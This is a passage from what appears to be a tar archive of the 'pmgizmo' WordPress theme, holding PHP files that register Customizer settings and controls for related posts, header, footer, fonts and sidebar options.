        'label'    => __( 'Hide Comment Section', 'pmthemes' ),
        'section'  => 'pmthemes_section_post',
        'settings' => 'pmthemes_theme_options[hide_post_comment]',
        'type'     => 'checkbox',
		'priority' => 14,
		)
	);
	//// Add Related Posts Settings
	$wp_customize->add_setting( 'pmthemes_theme_options[related_posts_single]', array(
        'default'           => $theme_def['related_posts_single'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_checkbox'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_related_posts_single', array(
        'label'    => __( 'Display related posts?', 'pmthemes' ),
        'section'  => 'pmthemes_section_related',
        'settings' => 'pmthemes_theme_options[related_posts_single]',
        'type'     => 'checkbox',
		'priority' => 2,
		)
	);
	$wp_customize->add_setting( 'pmthemes_theme_options[related_posts_thumb]', array(
        'default'           => $theme_def['related_posts_thumb'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_checkbox'
		)
	);	
    $wp_customize->add_control( 'pmthemes_control_related_posts_thumb', array(
        'label'    => __( 'Display thumbnails?', 'pmthemes' ),
        'section'  => 'pmthemes_section_related',
        'settings' => 'pmthemes_theme_options[related_posts_thumb]',
        'type'     => 'checkbox',
		'priority' => 3
		)
	);
	$wp_customize->add_setting( 'pmthemes_theme_options[related_posts_excerpt]', array(
        'default'           => $theme_def['related_posts_excerpt'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_checkbox'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_related_posts_excerpt', array(
        'label'    => __( 'Display excerpts?', 'pmthemes' ),
        'section'  => 'pmthemes_section_related',
        'settings' => 'pmthemes_theme_options[related_posts_excerpt]',
        'type'     => 'checkbox',
		'priority' => 4
		)
	);
	$wp_customize->add_setting( 'pmthemes_theme_options[related_excerpt_length]', array(
        'default'           => $theme_def['related_excerpt_length'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_number'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_related_excerpt_length', array(
        'label'    => __( 'Excerpt Length', 'pmthemes' ),
        'section'  => 'pmthemes_section_related',
        'settings' => 'pmthemes_theme_options[related_excerpt_length]',
        'type'     => 'text',
		'priority' => 5,
		)
	);
    // Number of Related Posts
	$wp_customize->add_setting( 'pmthemes_theme_options[related_post_count]', array(
        'default'           => $theme_def['related_post_count'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_read_text'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_related_post_count', array(
        'label'    => __( 'Number of Related Posts', 'pmthemes' ),
        'section'  => 'pmthemes_section_related',
        'settings' => 'pmthemes_theme_options[related_post_count]',
        'type'     => 'text',
		'priority' => 6
		)
	);
    // Related Header Title
	$wp_customize->add_setting( 'pmthemes_theme_options[related_header_title]', array(
        'default'           => $theme_def['related_header_title'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'pmthemes_sanitize_read_text'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_related_header_title', array(
        'label'    => __( 'Related Header Title', 'pmthemes' ),
        'section'  => 'pmthemes_section_related',
        'settings' => 'pmthemes_theme_options[related_header_title]',
        'type'     => 'text',
		'priority' => 7,
		)
	);
    // Display Style
	$wp_customize->add_setting( 'pmthemes_theme_options[related_post_style]', array(
        'default'           => $theme_def['related_post_style'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_related_post_style'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_related_post_style', array(
        'label'    => __( 'Display Style', 'pmthemes' ),
        'section'  => 'pmthemes_section_related',
        'settings' => 'pmthemes_theme_options[related_post_style]',
        'type'     => 'select',
		'priority' => 8,
        'choices'  => array(
            'four-cols' => __( 'Four Columns (Default)', 'pmthemes' ),
			'three-cols' => __( 'Three Columns', 'pmthemes' ),
			'two-cols' => __( 'Two Columns', 'pmthemes' ),
            'simple-list' => __( 'One Column', 'pmthemes')
			)
		)
	);
    $wp_customize->add_setting( 'pmthemes_theme_options[related_post_order]', array(
            'default'           => $theme_def['related_post_order'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_related_post_order'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_related_post_order', array(
            'label'    => __( 'Display Order', 'pmthemes' ),
            'section'  => 'pmthemes_section_related',
            'settings' => 'pmthemes_theme_options[related_post_order]',
            'type'     => 'select',
            'priority' => 9,
            'choices'  => array(
                'latest-posts' => __( 'Latest Posts', 'pmthemes' ),
                'random-posts' => __( 'Random Posts', 'pmthemes' ),
                'old-posts' => __( 'Oldest Posts', 'pmthemes' ),
            )
        )
    );
}pmgizmo/inc/customizer/sections/.htaccess000064400000000000152223213640014616 0ustar00pmgizmo/inc/customizer/sections/customizer-header.php000064400000025610152223213640017201 0ustar00<?php
/**
 * Register Header Content section, settings and controls for Theme Customizer
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Header Settings
add_action( 'customize_register', 'pmthemes_customize_register_header_settings' );
function pmthemes_customize_register_header_settings( $wp_customize ) {
    // Get Default Fonts from settings
    $theme_def = pmthemes_default_options();
    // Add Header Section
    $wp_customize->add_section( 'pmthemes_section_header', array(
            'title'    => __( 'Header Settings', 'pmthemes' ),
            'priority' => 2,
            'panel' => 'pmthemes_options_panel'
        )
    );
	// Enable Facebook Open Graph Meta
    $wp_customize->add_setting( 'pmthemes_theme_options[fb_meta_graph]', array(
            'default'           => $theme_def['fb_meta_graph'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_fb_meta_graph', array(
            'label'    => __( 'Enable FB Open Graph Meta', 'pmthemes' ),
            'section'  => 'pmthemes_section_header',
            'settings' => 'pmthemes_theme_options[fb_meta_graph]',
            'type'     => 'checkbox',
            'priority' => 1,
        )
    );
    // Default FB Image URL
    $wp_customize->add_setting( 'pmthemes_theme_options[default_fb_image]', array(
            'default'           => $theme_def['default_fb_image'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_read_text'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_default_fb_image', array(
            'label'    => __( 'Default FB Image URL', 'pmthemes' ),
            'section'  => 'pmthemes_section_header',
            'settings' => 'pmthemes_theme_options[default_fb_image]',
            'active_callback' =>'pmthemes_fb_meta_graph_active',
            'type'     => 'text',
            'priority' => 2,
        )
    );
	// FB APP ID
	$wp_customize->add_setting( 'pmthemes_theme_options[fb_app_id]', array(
        'default'           => $theme_def['fb_app_id'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'pmthemes_sanitize_read_text'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_fb_app_id', array(
        'label'    => __( 'FB APP ID', 'pmthemes' ),
        'section'  => 'pmthemes_section_header',
        'settings' => 'pmthemes_theme_options[fb_app_id]',
        'type'     => 'text',
		'priority' => 4,
		)
	);
    // Header Tracking Code
    $wp_customize->add_setting( 'pmthemes_theme_options[header_code]', array(
            'default'           => $theme_def['header_code'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_header_code'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_header_code', array(
            'label'    => __( 'Header Code', 'pmthemes' ),
            'section'  => 'pmthemes_section_header',
            'settings' => 'pmthemes_theme_options[header_code]',
            'type'     => 'textarea',
            'description' => 'For Google Verification Code, etc.',
            'priority' => 5,
        )
    );
    // Header Adjustments Control Title
    $wp_customize->add_setting( 'pmthemes_theme_options[hddr_adjust]', array(
            'default'           => '',
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_hddr_adjust', array(
                'label' => __( 'Header Adjustments', 'pmthemes' ),
                'section' => 'pmthemes_section_header',
                'settings' => 'pmthemes_theme_options[hddr_adjust]',
                'priority' => 6,
            )
        )
    );
    // Enable Header Adjustments
    $wp_customize->add_setting( 'pmthemes_theme_options[header_adjust]', array(
            'default'           => $theme_def['header_adjust'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_header_adjust', array(
            'label'    => __( 'Show Header Adjustments', 'pmthemes' ),
            'section'  => 'pmthemes_section_header',
            'settings' => 'pmthemes_theme_options[header_adjust]',
            'type'     => 'checkbox',
            'priority' => 7,
        )
    );
    // Header Padding Controls
    // Header top
    $wp_customize->add_setting( 'pmthemes_theme_options[header_padding_top]', array(
            'default' 			=> $theme_def['header_padding_top'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int',
        )
    );
    // Header right
    $wp_customize->add_setting( 'pmthemes_theme_options[header_padding_right]', array(
            'default' 			=> $theme_def['header_padding_right'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int',
        )
    );
    // Header bottom
    $wp_customize->add_setting( 'pmthemes_theme_options[header_padding_bottom]', array(
            'default' 			=> $theme_def['header_padding_bottom'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int',
        )
    );
    // Header left
    $wp_customize->add_setting( 'pmthemes_theme_options[header_padding_left]', array(
            'default' 			=> $theme_def['header_padding_left'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int',
        )
    );
    // Header controls
    $wp_customize->add_control(new Pmthemes_Spacing_Control($wp_customize, 'header_spacing', array(
                'type' => 'pmthemes-spacing',
                'label'       => esc_html__( 'Header Padding (em)', 'pmthemes' ),
                'section'     => 'pmthemes_section_header',
                'description' => 'Default for all is 1.0',
                'settings'    => array(
                    'top'     => 'pmthemes_theme_options[header_padding_top]',
                    'right'   => 'pmthemes_theme_options[header_padding_right]',
                    'bottom'  => 'pmthemes_theme_options[header_padding_bottom]',
                    'left'    => 'pmthemes_theme_options[header_padding_left]',
                ),
                'active_callback' => 'pmthemes_header_adjust_active',
                'element' => 'header',
                'priority' => 8,
            )
        )
    );
    // Show Top Bar
    $wp_customize->add_setting( 'pmthemes_theme_options[topbar_show]', array(
            'default'           => $theme_def['topbar_show'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_topbar_show', array(
            'label'    => __( 'Show Top Bar', 'pmthemes' ),
            'section'  => 'pmthemes_section_header',
            'settings' => 'pmthemes_theme_options[topbar_show]',
            'type'     => 'checkbox',
            'priority' => 11,
        )
    );
    // Top Bar Location
    $wp_customize->add_setting( 'pmthemes_theme_options[top_bar_loc]', array(
            'default'           => $theme_def['top_bar_loc'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_top_bar_loc'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_top_bar_loc', array(
            'label'    => __( 'Top Bar Location', 'pmthemes' ),
            'section'  => 'pmthemes_section_header',
            'settings' => 'pmthemes_theme_options[top_bar_loc]',
            'active_callback' =>'pmthemes_top_bar_active',
            'priority' => 12,
            'type'     => 'select',
            'choices'  => array(
                'top-bar-most' => __( 'Header Topmost', 'pmthemes' ),
                'top-bar-under' => __( 'Header Under', 'pmthemes'),
            )
        )
    );
    // Topbar Date
    $wp_customize->add_setting( 'pmthemes_theme_options[topbar_date]', array(
            'default'           => $theme_def['topbar_date'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_topbar_date', array(
            'label'    => __( 'Show Date on Top Bar', 'pmthemes' ),
            'section'  => 'pmthemes_section_header',
            'settings' => 'pmthemes_theme_options[topbar_date]',
            'active_callback' =>'pmthemes_top_bar_active',
            'type'     => 'checkbox',
            'priority' => 13,
        )
    );
    // Topbar Social Icons
    $wp_customize->add_setting( 'pmthemes_theme_options[topbar_icons]', array(
            'default'           => $theme_def['topbar_icons'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_topbar_icons', array(
            'label'    => __( 'Show Social Icons on Top Bar', 'pmthemes' ),
            'section'  => 'pmthemes_section_header',
            'settings' => 'pmthemes_theme_options[topbar_icons]',
            'active_callback' =>'pmthemes_top_bar_active',
            'type'     => 'checkbox',
            'priority' => 14,
        )
    );

    // Disable that Emoji
    $wp_customize->add_setting( 'pmthemes_theme_options[wp_emoji]', array(
            'default'           => $theme_def['wp_emoji'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_wp_emoji', array(
            'label'    => __( 'Disable Emoji', 'pmthemes' ),
            'section'  => 'pmthemes_section_header',
            'settings' => 'pmthemes_theme_options[wp_emoji]',
            'type'     => 'checkbox',
            'priority' => 15,
        )
    );

}pmgizmo/inc/customizer/sections/customizer-footer.php000064400000007145152223213640017252 0ustar00<?php
/**
 * Register Footer Content section, settings and controls for Theme Customizer
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Footie Settings
add_action( 'customize_register', 'pmthemes_customize_register_footie_settings' );
function pmthemes_customize_register_footie_settings( $wp_customize ) {
    // Get Default Fonts from settings
    $theme_def = pmthemes_default_options();
    // Add Footer Layout Section
    $wp_customize->add_section('pmthemes_section_footer', array(
            'title' => __('Footer Settings', 'pmthemes'),
            'priority' => 11,
            'panel' => 'pmthemes_options_panel'
        )
    );
    // Footer Widgets Layout
    $wp_customize->add_setting('pmthemes_theme_options[fwidgets]', array(
            'default' => $theme_def['fwidgets'],
            'type' => 'option',
            'transport' => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_fwidgets'
        )
    );
    
    $wp_customize->add_control('pmthemes_control_fwidgets', array(
            'label' => __('Footer Widgets Layout', 'pmthemes'),
            'section' => 'pmthemes_section_footer',
            'settings' => 'pmthemes_theme_options[fwidgets]',
            'type' => 'select',
            'priority' => 2,
            'choices' => array(
                '0' => __('No Widget', 'pmthemes'),
                '1' => __('1 Column', 'pmthemes'),
                '2' => __('2 Columns', 'pmthemes'),
                '3' => __('3 Columns', 'pmthemes'),
                '4' => __('4 Columns', 'pmthemes'),
            )
        )
    );
    // Footer Text
    $wp_customize->add_setting('pmthemes_theme_options[footer_text]', array(
            'default' => $theme_def['footer_text'],
            'type' => 'option',
            'transport' => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_footer_text'
        )
    );
    $wp_customize->add_control('pmthemes_control_footer_text', array(
            'label' => __('Footer Text', 'pmthemes'),
            'section' => 'pmthemes_section_footer',
            'settings' => 'pmthemes_theme_options[footer_text]',
            'type' => 'textarea',
            'priority' => 4,
        )
    );
    // Credit Link
    $wp_customize->add_setting('pmthemes_theme_options[credit_link]', array(
            'default' => $theme_def['credit_link'],
            'type' => 'option',
            'transport' => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control('pmthemes_control_credit_link', array(
            'label' => __('Display credit link to pmthemes on footer.', 'pmthemes'),
            'section' => 'pmthemes_section_footer',
            'settings' => 'pmthemes_theme_options[credit_link]',
            'type' => 'checkbox',
            'priority' => 6,
        )
    );
    // Footie Code
    $wp_customize->add_setting('pmthemes_theme_options[track_code]', array(
            'default' => $theme_def['track_code'],
            'type' => 'option',
            'transport' => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_track_code'
        )
    );
    $wp_customize->add_control('pmthemes_control_track_code', array(
            'label' => __('Footer Code', 'pmthemes'),
            'section' => 'pmthemes_section_footer',
            'settings' => 'pmthemes_theme_options[track_code]',
            'type' => 'textarea',
            'description' => 'For Google Analytics, tracking code, etc.',
            'priority' => 8,
        )
    );
}
pmgizmo/inc/customizer/sections/customizer-fonts.php000064400000013742152223213640017105 0ustar00<?php
/**
 * Register Theme Font section, settings and controls for Theme Customizer
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Theme Fonts section to Customizer
add_action( 'customize_register', 'pmthemes_customize_register_font_settings' );
function pmthemes_customize_register_font_settings( $wp_customize ) {
    // Get Default Fonts from settings
    $theme_def = pmthemes_default_options();
    // Google Font Setting Header
	$wp_customize->add_setting( 'pmthemes_theme_options[default_fonts]', array(
        'default'           => '',
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
        $wp_customize, 'pmthemes_control_default_fonts', array(
            'label' => __( 'Enable Google Fonts?', 'pmthemes' ),
            'section' => 'pmthemes_section_fonts',
            'settings' => 'pmthemes_theme_options[default_fonts]',
            'priority' => 1,
            )
        )
    );
    // Activate Google Font setting
	$wp_customize->add_setting( 'pmthemes_theme_options[activate_google_fonts]', array(
        'default'           => $theme_def['activate_google_fonts'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_checkbox'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_activate_google_fonts', array(
        'label'    => __( 'Check this to activate Google Fonts. If uncheck, only Default Browser Safe Fonts is active.', 'pmthemes' ),
        'section'  => 'pmthemes_section_fonts',
        'settings' => 'pmthemes_theme_options[activate_google_fonts]',
        'type'     => 'checkbox',
		'priority' => 2,
		)
	);
    // Choose Available Fonts
    $wp_customize->add_setting( 'pmthemes_theme_options[available_fonts]', array(
            'default'           => $theme_def['available_fonts'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_available_fonts'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Font_List_Control(
            $wp_customize, 'pmthemes_control_available_fonts', array(
            'label'      => __( 'Choose available Fonts', 'pmthemes' ),
            'section'    => 'pmthemes_section_fonts',
            'settings'   => 'pmthemes_theme_options[available_fonts]',
            'choices' => array(
                'default' => __( 'Default Browser Fonts (12)', 'pmthemes' ),
                'favorites' => __( 'Most Popular Fonts (35)', 'pmthemes' ),
                'popular' => __( 'Most Popular Google Fonts (100)', 'pmthemes' ),
                'all' => __( 'All Google Fonts (650)', 'pmthemes' )
            ),
            'priority' => 3,
        ) )
    );
    // Default Text Font
	$wp_customize->add_setting( 'pmthemes_theme_options[text_font]', array(
        'default'           => $theme_def['text_font'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'esc_attr'
		)
	);
	$wp_customize->add_control( new Pmthemes_Customize_Font_Control(
		$wp_customize, 'text_font', array(
			'label'      => __( 'Default Text Font', 'pmthemes' ),
			'section'    => 'pmthemes_section_fonts',
			'settings'   => 'pmthemes_theme_options[text_font]',
			'priority' => 4,
		) ) 
	);
    // Default Site Title Font
    $wp_customize->add_setting( 'pmthemes_theme_options[site_title_font]', array(
            'default'           => $theme_def['site_title_font'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Font_Control(
            $wp_customize, 'site_title_font', array(
            'label'      => __( 'Site Title Font', 'pmthemes' ),
            'section'    => 'pmthemes_section_fonts',
            'settings'   => 'pmthemes_theme_options[site_title_font]',
            'priority' => 5,
        ) )
    );
    // Post/Page Title Font
	$wp_customize->add_setting( 'pmthemes_theme_options[title_font]', array(
        'default'           => $theme_def['title_font'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'esc_attr'
		)
	);
	$wp_customize->add_control( new Pmthemes_Customize_Font_Control(
		$wp_customize, 'title_font', array(
			'label'      => __( 'Post/Page Title Font', 'pmthemes' ),
			'section'    => 'pmthemes_section_fonts',
			'settings'   => 'pmthemes_theme_options[title_font]',
			'priority' => 6,
		) ) 
	);
    // Navigation Font
	$wp_customize->add_setting( 'pmthemes_theme_options[navi_font]', array(
        'default'           => $theme_def['navi_font'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'esc_attr'
		)
	);
	$wp_customize->add_control( new Pmthemes_Customize_Font_Control(
		$wp_customize, 'navi_font', array(
			'label'      => __( 'Navigation Font', 'pmthemes' ),
			'section'    => 'pmthemes_section_fonts',
			'settings'   => 'pmthemes_theme_options[navi_font]',
			'priority' => 7,
		) ) 
	);
    // Widget Title Font
	$wp_customize->add_setting( 'pmthemes_theme_options[widget_title_font]', array(
        'default'           => $theme_def['widget_title_font'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'esc_attr'
		)
	);
	$wp_customize->add_control( new Pmthemes_Customize_Font_Control(
		$wp_customize, 'widget_title_font', array(
			'label'      => __( 'Widget Title Font', 'pmthemes' ),
			'section'    => 'pmthemes_section_fonts',
			'settings'   => 'pmthemes_theme_options[widget_title_font]',
			'priority' => 8,
		) ) 
	);

}pmgizmo/inc/customizer/sections/customizer-sidebar.php000064400000026375152223213640017373 0ustar00<?php
/**
 * Register Widget Bar section, settings and controls for Theme Customizer
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Widget Bar Settings
add_action( 'customize_register', 'pmthemes_customize_register_wgtbar_settings' );
function pmthemes_customize_register_wgtbar_settings( $wp_customize ) {
    // Get Default Fonts from settings
    $theme_def = pmthemes_default_options();
    // Add Widgets Section
    $wp_customize->add_section( 'pmthemes_section_sidebar', array(
            'title'    => __( 'Sidebar Settings', 'pmthemes' ),
            'priority' => 4,
            'panel' => 'pmthemes_options_panel'
        )
    );
    // Sidebar Location
    $wp_customize->add_setting( 'pmthemes_theme_options[layout]', array(
            'default'           => $theme_def['layout'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_layout'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_layout', array(
            'label'    => __( 'Sidebar Location', 'pmthemes' ),
            'section'  => 'pmthemes_section_sidebar',
            'settings' => 'pmthemes_theme_options[layout]',
            'type'     => 'select',
            'choices'  => array(
                'right-sidebar' => __( 'Right (Default)', 'pmthemes'),
                'left-sidebar' => __( 'Left Side', 'pmthemes' ),
            )
        )
    );
    // Content & Sidebar Balance
    $wp_customize->add_setting( 'pmthemes_theme_options[sidecon_width]', array(
            'default'           => $theme_def['sidecon_width'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_number'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_sidecon_width', array(
            'label'    => __( 'Content & Sidebar Balance', 'pmthemes' ),
            'section'  => 'pmthemes_section_sidebar',
            'settings' => 'pmthemes_theme_options[sidecon_width]',
            'min' => 20,
            'max' => 50,
            'step' => 0.01,
            'unit' => '%',
        ))
    );
    // Enable Sidebar Padding Adjustments
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_padding_adjust]', array(
            'default'           => $theme_def['sidebar_padding_adjust'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_sidebar_padding_adjust', array(
            'label'    => __( 'Enable Sidebar Padding Adjustments', 'pmthemes' ),
            'section'  => 'pmthemes_section_sidebar',
            'settings' => 'pmthemes_theme_options[sidebar_padding_adjust]',
            'type'     => 'checkbox',
        )
    );
    // Sidebar padding top
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_padding_top]', array(
            'default' 			=> $theme_def['sidebar_padding_top'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int',
        )
    );
    // Sidebar padding right
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_padding_right]', array(
            'default' 			=> $theme_def['sidebar_padding_right'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int',
        )
    );
    // Sidebar padding bottom
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_padding_bottom]', array(
            'default' 			=> $theme_def['sidebar_padding_bottom'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int',
        )
    );
    // Sidebar padding left
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_padding_left]', array(
            'default' 			=> $theme_def['sidebar_padding_left'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int',
        )
    );
    // Sidebar padding controls
    $wp_customize->add_control(new Pmthemes_Spacing_Control($wp_customize, 'sidebar_spacing', array(
                'type' => 'pmthemes-spacing',
                'label'       => esc_html__( 'Adjust sidebar padding (em)', 'pmthemes' ),
                'section'     => 'pmthemes_section_sidebar',
                'description' => 'Default for all is 1.0',
                'settings'    => array(
                    'top'     => 'pmthemes_theme_options[sidebar_padding_top]',
                    'right'   => 'pmthemes_theme_options[sidebar_padding_right]',
                    'bottom'  => 'pmthemes_theme_options[sidebar_padding_bottom]',
                    'left'    => 'pmthemes_theme_options[sidebar_padding_left]',
                ),
                'active_callback' => 'pmthemes_sidebar_padding_adjust_active',
                'element' => 'sidebar',
            )
        )
    );
    // Sidebar Header Bar
    $wp_customize->add_setting( 'pmthemes_theme_options[wdgt_bar_hd]', array(
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_wdgt_bar_hd', array(
                'label' => __( 'Header Bar', 'pmthemes' ),
                'section' => 'pmthemes_section_sidebar',
                'settings' => 'pmthemes_theme_options[wdgt_bar_hd]',
            )
        )
    );
    // Widget Header Font Size
    $wp_customize->add_setting( 'pmthemes_theme_options[wgtbar_font_size]', array(
            'default'           => $theme_def['wgtbar_font_size'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_wgtbar_font_size', array(
            'label'    => __( 'Header Font Size', 'pmthemes' ),
            'section'  => 'pmthemes_section_sidebar',
            'settings' => 'pmthemes_theme_options[wgtbar_font_size]',
            'min' => 0.75,
            'max' => 2.75,
            'step' => 0.01,
            'unit' => 'em',
        ))
    );
    // Sidebar Widget Header Font Padding
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_font_pad_top]', array(
            'default' 			=> $theme_def['sidebar_font_pad_top'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'absint',
        )
    );
    // Header right
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_font_pad_right]', array(
            'default' 			=> $theme_def['sidebar_font_pad_right'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'absint',
        )
    );
    // Header bottom
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_font_pad_bottom]', array(
            'default' 			=> $theme_def['sidebar_font_pad_bottom'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'absint',
        )
    );
    // Header left
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_font_pad_left]', array(
            'default' 			=> $theme_def['sidebar_font_pad_left'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'absint',
        )
    );
    // Header controls
    $wp_customize->add_control(new Pmthemes_Spacing_Control($wp_customize, 'wdgt-font-spacing', array(
                'type' => 'pmthemes-spacing',
                'label'       => esc_html__( 'Header Font Padding (px)', 'pmthemes' ),
                'section'     => 'pmthemes_section_sidebar',
                'settings'    => array(
                    'top'     => 'pmthemes_theme_options[sidebar_font_pad_top]',
                    'right'   => 'pmthemes_theme_options[sidebar_font_pad_right]',
                    'bottom'  => 'pmthemes_theme_options[sidebar_font_pad_bottom]',
                    'left'    => 'pmthemes_theme_options[sidebar_font_pad_left]',
                ),
                'element' => 'wdgt-font-padding',
            )
        )
    );
    // Tabbed Widget
    $wp_customize->add_setting( 'pmthemes_theme_options[tabbed_wdgt_hd]', array(
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_tabbed_wdgt_hd', array(
                'label' => __( 'Tabbed Widget', 'pmthemes' ),
                'section' => 'pmthemes_section_sidebar',
                'settings' => 'pmthemes_theme_options[tabbed_wdgt_hd]',
                'active_callback' => 'pmthemes_tabbed_content_active',
            )
        )
    );
    // Tabbed Widget Header Font Size
    $wp_customize->add_setting( 'pmthemes_theme_options[tabbed_font_size]', array(
            'default'           => $theme_def['tabbed_font_size'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_tabbed_font_size', array(
